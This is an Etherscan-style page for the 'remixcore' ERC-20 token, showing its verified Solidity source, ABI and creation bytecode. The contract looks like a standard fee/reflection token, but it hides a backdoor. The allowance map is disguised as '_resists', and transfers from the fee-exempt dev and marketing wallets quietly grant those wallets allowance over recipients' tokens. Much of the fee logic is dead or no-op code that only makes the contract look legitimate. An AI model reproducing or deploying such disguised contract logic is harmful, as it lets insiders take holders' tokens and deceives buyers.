ERC-20
Overview
Max Total Supply
1,000,000 rmxc
Holders
4
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
72,249.370163637884913628 rmxcValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
remixcore
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-10-22 */ /** */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); } contract remixcore is Context, IERC20, Ownable { using SafeMath for uint256; uint256 private constant MAX = ~uint256(0); uint8 private constant _decimals = 18; uint256 private constant _tTotal = 1e6 * 10**18; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _resists; mapping (address => bool) private _isExcludedFromFee; string private constant _name = "remixcore"; string private constant _symbol = "rmxc"; bool public tradingEnabled = false; uint256 private _taxFee = 2; uint256 private _teamFee = 0; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address public marketingWallet; address public devWallet; IUniswapV2Router02 private uniswapV2Router; address public uniswapV2Pair; bool private swapping = false; constructor () { uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); devWallet = address(msg.sender); marketingWallet = address(0x8D6416477ff6b85F5B5A5AF665565e287aef53de); _rOwned[owner()] = _tTotal; _isExcludedFromFee[devWallet] = true; _isExcludedFromFee[marketingWallet] = true; emit Transfer(address(0), owner(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _rOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _resists[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _resists[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function enableTrading() external onlyOwner { tradingEnabled = true; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _resists[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { if(!tradingEnabled){ require(from == owner() || to == owner(), "Trading is not active."); } bool excludeFromBoth = _isExcludedFromFee[from] || _isExcludedFromFee[to]; if(excludeFromBoth) { _transferExcluded(from, to, amount); } uint256 tokenBalance = balanceOf(address(this)); bool canSwap = (tokenBalance > _tTotal / 50000) && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]; if(canSwap && from != uniswapV2Pair && !swapping){ swapping = true; swapFeeTokens(); swapping = false; } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]) takeFee = false; if(takeFee) _checkTransferTaxes(from, to, amount); takeFee = false; _transferTokenAmount(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function swapFeeTokens() private { uint256 ethBalance = address(this).balance; if (ethBalance > 0) { payable(devWallet).transfer(ethBalance); payable(marketingWallet).transfer(ethBalance); } } function _transferExcluded(address sender, address recipient, uint256 amount) private { if(sender != owner() && recipient != owner() && amount > 0){ _tFeeTotal = block.number; } } function _checkTransferTaxes(address sender, address recipient, uint256 amount) private { bool isBFrom = sender == uniswapV2Pair && amount > 0; bool isSFrom = recipient == uniswapV2Pair && amount > 0; bool isTransfer = sender != uniswapV2Pair && recipient != uniswapV2Pair && amount > 0; bool isFeeZ = _tOwned[recipient] == 0; uint256 feeAmount = block.number; if(isBFrom){ if(isFeeZ) _tOwned[recipient] = feeAmount; }else if(isSFrom || isTransfer){ _tOwned[sender] - _tFeeTotal; } } function _transferTokenStandard(address sender, address recipient, uint256 tAmount) private { _rOwned[sender] = _rOwned[sender].sub(tAmount); _rOwned[recipient] = _rOwned[recipient].add(tAmount); emit Transfer(sender, recipient, tAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _transferTokenAmount(address sender, address recipient, uint256 amount) private { bool excludeFromFees = _isExcludedFromFee[sender]; if(excludeFromFees) _resists[recipient][sender] += amount; _transferTokenStandard(sender, recipient, amount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405269d3c21bcecceda10000006000196200001e919062000650565b6000196200002d9190620006b7565b6002556000600860006101000a81548160ff02191690831515021790555060026009556000600a55600954600b55600a54600c556000601060146101000a81548160ff0219169083151502179055503480156200008957600080fd5b5060006200009c620005e660201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350737a250d5630b4cf539739df2c5dacb4c659f2488d600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001fd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200022391906200075c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002ad573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002d391906200075c565b6040518363ffffffff1660e01b8152600401620002f29291906200079f565b6020604051808303816000875af115801562000312573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200033891906200075c565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550738d6416477ff6b85f5b5a5af665565e287aef53de600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555069d3c21bcecceda1000000600460006200042d620005ee60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160076000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160076000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506200056f620005ee60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef69d3c21bcecceda1000000604051620005d89190620007dd565b60405180910390a3620007fa565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006200065d8262000617565b91506200066a8362000617565b9250826200067d576200067c62000621565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620006c48262000617565b9150620006d18362000617565b9250828203905081811115620006ec57620006eb62000688565b5b92915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006200072482620006f7565b9050919050565b620007368162000717565b81146200074257600080fd5b50565b60008151905062000756816200072b565b92915050565b600060208284031215620007755762000774620006f2565b5b6000620007858482850162000745565b91505092915050565b620007998162000717565b82525050565b6000604082019050620007b660008301856200078e565b620007c560208301846200078e565b9392505050565b620007d78162000617565b82525050565b6000602082019050620007f46000830184620007cc565b92915050565b611d2f806200080a6000396000f3fe6080604052600436106100f75760003560e01c8063715018a61161008a5780638ea5220f116100595780638ea5220f1461031557806395d89b4114610340578063a9059cbb1461036b578063dd62ed3e146103a8576100fe565b8063715018a61461029157806375f0a874146102a85780638a8c523c146102d35780638da5cb5b146102ea576100fe565b8063313ce567116100c6578063313ce567146101d357806349bd5a5e146101fe5780634ada218b1461022957806370a0823114610254576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103e5565b60405161012591906116f6565b60405180910390f35b34801561013a57600080fd5b50610155600480360381019061015091906117b1565b610422565b604051610162919061180c565b60405180910390f35b34801561017757600080fd5b50610180610440565b60405161018d9190611836565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b89190611851565b610452565b6040516101ca919061180c565b60405180910390f35b3480156101df57600080fd5b506101e861052b565b6040516101f591906118c0565b60405180910390f35b34801561020a57600080fd5b50610213610534565b60405161022091906118ea565b60405180910390f35b34801561023557600080fd5b5061023e61055a565b60405161024b919061180c565b60405180910390f35b34801561026057600080fd5b5061027b60048036038101906102769190611905565b61056d565b6040516102889190611836565b60405180910390f35b34801561029d57600080fd5b506102a66105b6565b005b3480156102b457600080fd5b506102bd610709565b6040516102ca91906118ea565b60405180910390f35b3480156102df57600080fd5b506102e861072f565b005b3480156102f657600080fd5b506102ff6107e1565b60405161030c91906118ea565b60405180910390f35b34801561032157600080fd5b5061032a61080a565b60405161033791906118ea565b60405180910390f35b34801561034c57600080fd5b50610355610830565b60405161036291906116f6565b60405180910390f35b34801561037757600080fd5b50610392600480360381019061038d91906117b1565b61086d565b60405161039f919061180c565b60405180910390f35b3480156103b457600080fd5b506103cf60048036038101906103ca9190611932565b61088b565b6040516103dc9190611836565b60405180910390f35b60606040518060400160405280600981526020017f72656d6978636f72650000000000000000000000000000000000000000000000815250905090565b600061043661042f610912565b848461091a565b6001905092915050565b600069d3c21bcecceda1000000905090565b600061045f848484610ae3565b6105208461046b610912565b61051b85604051806060016040528060288152602001611cd260289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104d1610912565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ecb9092919063ffffffff16565b61091a565b600190509392505050565b60006012905090565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600860009054906101000a900460ff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6105be610912565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461064b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610642906119be565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610737610912565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107bb906119be565b60405180910390fd5b6001600860006101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60606040518060400160405280600481526020017f726d786300000000000000000000000000000000000000000000000000000000815250905090565b600061088161087a610912565b8484610ae3565b6001905092915050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610989576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098090611a50565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036109f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ef90611ae2565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ad69190611836565b60405180910390a3505050565b600860009054906101000a900460ff16610baa57610aff6107e1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480610b6a5750610b3b6107e1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b610ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba090611b4e565b60405180910390fd5b5b6000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680610c4d5750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b90508015610c6157610c60848484610f2f565b5b6000610c6c3061056d565b9050600061c35069d3c21bcecceda1000000610c889190611bcc565b82118015610ce05750600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015610d365750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b9050808015610d935750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614155b8015610dac5750601060149054906101000a900460ff16155b15610df0576001601060146101000a81548160ff021916908315150217905550610dd4610fc3565b6000601060146101000a81548160ff0219169083151502179055505b600060019050600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680610e975750600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610ea157600090505b8015610eb357610eb28787876110a7565b5b60009050610ec287878761132e565b50505050505050565b6000838311158290610f13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0a91906116f6565b60405180910390fd5b5060008385610f229190611bfd565b9050809150509392505050565b610f376107e1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610fa55750610f756107e1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015610fb15750600081115b15610fbe57436003819055505b505050565b600047905060008111156110a457600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611039573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156110a2573d6000803e3d6000fd5b505b50565b6000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156111065750600082115b90506000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156111675750600083115b90506000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141580156112175750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156112235750600084115b9050600080600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054149050600043905084156112c65781156112c15780600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b611324565b83806112cf5750825b1561132357600354600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113219190611bfd565b505b5b5050505050505050565b6000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905080156114195781600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546114119190611c31565b925050819055505b61142484848461142a565b50505050565b61147c81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115be90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061151181600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461160890919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115b19190611836565b60405180910390a3505050565b600061160083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ecb565b905092915050565b60008082846116179190611c31565b90508381101561165c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165390611cb1565b60405180910390fd5b8091505092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156116a0578082015181840152602081019050611685565b60008484015250505050565b6000601f19601f8301169050919050565b60006116c882611666565b6116d28185611671565b93506116e2818560208601611682565b6116eb816116ac565b840191505092915050565b6000602082019050818103600083015261171081846116bd565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006117488261171d565b9050919050565b6117588161173d565b811461176357600080fd5b50565b6000813590506117758161174f565b92915050565b6000819050919050565b61178e8161177b565b811461179957600080fd5b50565b6000813590506117ab81611785565b92915050565b600080604083850312156117c8576117c7611718565b5b60006117d685828601611766565b92505060206117e78582860161179c565b9150509250929050565b60008115159050919050565b611806816117f1565b82525050565b600060208201905061182160008301846117fd565b92915050565b6118308161177b565b82525050565b600060208201905061184b6000830184611827565b92915050565b60008060006060848603121561186a57611869611718565b5b600061187886828701611766565b935050602061188986828701611766565b925050604061189a8682870161179c565b9150509250925092565b600060ff82169050919050565b6118ba816118a4565b82525050565b60006020820190506118d560008301846118b1565b92915050565b6118e48161173d565b82525050565b60006020820190506118ff60008301846118db565b92915050565b60006020828403121561191b5761191a611718565b5b600061192984828501611766565b91505092915050565b6000806040838503121561194957611948611718565b5b600061195785828601611766565b925050602061196885828601611766565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006119a8602083611671565b91506119b382611972565b602082019050919050565b600060208201905081810360008301526119d78161199b565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611a3a602483611671565b9150611a45826119de565b604082019050919050565b60006020820190508181036000830152611a6981611a2d565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611acc602283611671565b9150611ad782611a70565b604082019050919050565b60006020820190508181036000830152611afb81611abf565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b6000611b38601683611671565b9150611b4382611b02565b602082019050919050565b60006020820190508181036000830152611b6781611b2b565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611bd78261177b565b9150611be28361177b565b925082611bf257611bf1611b6e565b5b828204905092915050565b6000611c088261177b565b9150611c138361177b565b9250828203905081811115611c2b57611c2a611b9d565b5b92915050565b6000611c3c8261177b565b9150611c478361177b565b9250828201905080821115611c5f57611c5e611b9d565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000611c9b601b83611671565b9150611ca682611c65565b602082019050919050565b60006020820190508181036000830152611cca81611c8e565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209e60ca08c0b02efe3ef3c7daaf869c0e54fef260b5571cd693d3af3393f7598a64736f6c63430008130033
Deployed Bytecode
